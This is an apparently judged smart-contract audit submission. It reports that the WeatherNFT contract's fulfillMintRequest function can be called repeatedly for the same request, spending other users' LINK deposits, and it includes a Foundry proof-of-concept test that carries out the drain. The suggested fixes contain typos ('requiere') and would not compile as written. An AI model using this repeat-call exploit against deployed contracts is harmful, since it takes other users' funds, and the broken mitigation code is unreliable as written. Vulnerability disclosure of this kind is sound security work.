Weather Witness

First Flight #40
Beginner FriendlyFoundrySolidityNFT
100 EXP
View results
Submission Details
Severity: high
Valid

Lack of verifications on `fulfillMintRequest` allows an attacker to call it multiple times and use others' users Link token to pay for NFT update automation.

Lack of verifications on fulfillMintRequest allows an attacker to call it multiple times and use other users' Link token to pay for NFT update automation.

Description

  • When a user requests to mint an NFT by calling the function requestMintWeatherNFT, such function performs a transferFrom of Link token from the user's account to the WeatherNFT contract. This call creates a request to a Chainlink oracle to get the corresponding weather data. Once this data is populated on the contract, the user can call fulfillMintRequest to mint the NFT and (if selected) ignite the update automation. When this function is called, some Link token of the contract is passed to the Oracle to pay for the automatic updates.

An attack vector is open since a user can call the fulfillMintRequest multiple times, even if the entire Link that he sent to the contract has already been used. When this happens, subsequent calls will take other users' Link token to send to the Oracle, causing that when these other users try to call the fulfillMintRequest function, the transaction will fail due to insufficient Link Balance.

function fulfillMintRequest(bytes32 requestId) external {
@> lack of verification of the caller's available Link on the contract
bytes memory response = s_funcReqIdToMintFunctionReqResponse[requestId].response;
bytes memory err = s_funcReqIdToMintFunctionReqResponse[requestId].err;
require(response.length > 0 || err.length > 0, WeatherNft__Unauthorized());
...

Risk

Likelihood: High

  • Reason 1: An attacker can recall this fullfillMintRequest function multiple times, either to empty all the Link sended to the NFT contract or to get more frequent automations, for example if the _heartbit params is 12 hours, he can recall this function each hour for 12 hours and finally get updates every hour while paying such updates with others money.

  • Reason 2: A normal user (non-attacker) can accidentally call multiple times the fulfillMintRequest function, by clicking twice a button on the UI, or by thinking that the first call was not executed for some reason.

Impact:

  • Impact 1: Mismatch between the contract balance and the total sum of the _initLinkDeposit sent for all the users, causing some of them to be unable to call this function.

  • Impact 2: Empty all the link tokens of the WeatherNFT contract, breaking the whole functionality of the protocol by causing a Denial of Service (DoS) when legitim users tries to call fullfillMintRequest.

Proof of Concept

  • You can copy/paste the next test case on the test file test/WeatherNftForkTest.t.sol to being able to run it.

  • We are requesting a mint from 2 users -> attacker and victim.

  • Before the victim calls the fulfillMintRequest, the attacker perform multiple calls to this same function, using all his Link deposit to posteriorly start using the Link of the victim.

  • Notice: In this example, we are using only 1 victim, but in a real-life scenario, the "victims" will be all those users who call the requestMintWeatherNFT, receive an answer from the oracle, BUT they have not yet called the function fullfillMintRequest.

function test_requestUpdateAutomatationMultipleTimesWithoutDepositMoreMoney() public {
// setup parties -> attacker and victim
address attacker = address(123);
vm.deal(attacker, 1000e18);
deal(address(linkToken), attacker, 1000e18);
address victim = address(456);
vm.deal(victim, 1000e18);
deal(address(linkToken), victim, 1000e18);
// Setup parameters to call `requestMintWeatherNFT` function
string memory pincode = "125001";
string memory isoCode = "IN";
bool registerKeeper = true;
uint256 heartbeat = 12 hours;
uint256 initLinkDeposit = 5e18;
// attacker request mint
vm.startPrank(attacker);
linkToken.approve(address(weatherNft), initLinkDeposit);
vm.recordLogs();
weatherNft.requestMintWeatherNFT{value: weatherNft.s_currentMintPrice()}(
pincode,
isoCode,
registerKeeper,
heartbeat,
initLinkDeposit
);
vm.stopPrank();
// getting attacker's mint request ID
Vm.Log[] memory logs = vm.getRecordedLogs();
bytes32 reqId;
for (uint256 i; i < logs.length; i++) {
if (logs[i].topics[0] == keccak256("WeatherNFTMintRequestSent(address,string,string,bytes32)")) {
(, , , reqId) = abi.decode(logs[i].data, (address, string, string, bytes32));
break;
}
}
// victim request mint
vm.startPrank(victim);
linkToken.approve(address(weatherNft), initLinkDeposit); // it increase for more users
vm.recordLogs();
weatherNft.requestMintWeatherNFT{value: weatherNft.s_currentMintPrice()}(
pincode,
isoCode,
registerKeeper,
heartbeat,
initLinkDeposit
);
vm.stopPrank();
// continue the normal flow
vm.prank(functionsRouter);
bytes memory weatherResponse = abi.encode(WeatherNftStore.Weather.RAINY);
weatherNft.handleOracleFulfillment(reqId, weatherResponse, "");
// ATTACK! call fulfillMintRequest multiple times until empty or almost to vanish the other user's Link
// (In reality, what happened is that the Attacker is using other users' links to pay for the automation of the update)
uint256 linkBalanceBeforeAttack = linkToken.balanceOf(address(weatherNft));
vm.prank(attacker);
weatherNft.fulfillMintRequest(reqId); // call for the first time, and use all the initial deposit that the attacker sends (5e18 LINK)
uint256 linkBalanceAfterFirstCall = linkToken.balanceOf(address(weatherNft));
weatherNft.fulfillMintRequest(reqId); // Now, each time the attacker recalls the fulfill function, they will be using others' users' Link deposits.
uint256 linkBalanceAfterAttack = linkToken.balanceOf(address(weatherNft));
assertEq(linkBalanceBeforeAttack-initLinkDeposit, linkBalanceAfterFirstCall);
assertEq(linkBalanceAfterAttack, 0);
}

Recommended Mitigation

  • Keep track of the requestId that the user has already use to call the fulfillMintRequest function, for example, in a map variable s_trackFullfilledMintRequestId where the key is the requestId and the value is a boolean that is true if such id has been already used. Then use this data to perform a validation at the beginning of the fulfillMintRequest function, like:

function fulfillMintRequest(bytes32 requestId) external {
+ requiere(!s_trackFullfilledMintRequestId[requestId], WeatherNft__SomeCustomErrorToHandleThis());
bytes memory response = s_funcReqIdToMintFunctionReqResponse[requestId].response;
bytes memory err = s_funcReqIdToMintFunctionReqResponse[requestId].err;
require(response.length > 0 || err.length > 0, WeatherNft__Unauthorized());
...
  • Another option will be to keep track of the users' links sended on the contract, for example in a map variable s_trackUserToContractSendedLink where the key is the user's address and the value the amount of links he has sent to the contract. Then, use this data to perform a validation at the beginning of the fullfillMintRequestfunction, to verify that the links sent for the user are more than or equal to the initLinkDeposit related to the minting request, like:

function fulfillMintRequest(bytes32 requestId) external {
+ requiere(s_trackUserToContractSendedLink>=s_funcReqIdToUserMintReq[requestId].initLinkDeposit, WeatherNft__SomeCustomErrorToHandleThis());
bytes memory response = s_funcReqIdToMintFunctionReqResponse[requestId].response;
bytes memory err = s_funcReqIdToMintFunctionReqResponse[requestId].err;
require(response.length > 0 || err.length > 0, WeatherNft__Unauthorized());
...

Notice: This second option will not avoid the user requesting a fulfillment for the same requestId multiple times.

Updates

Appeal created

bube Lead Judge 5 months ago
Submission Judgement Published
Validated
Assigned finding tags:

Lack of ownership check in `fulfillMintRequest` function

There is no check to ensure that the caller of the `fulfillMintRequest` function is actually the owner of the `requestId`. This allows a malicious user to receive a NFT that is payed from someone else.

Multiple tokens for one `requestId`

The `WeatherNFT::fulfillMintRequest` allows a malicious user to call multiple times the function with the same `requestId`.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.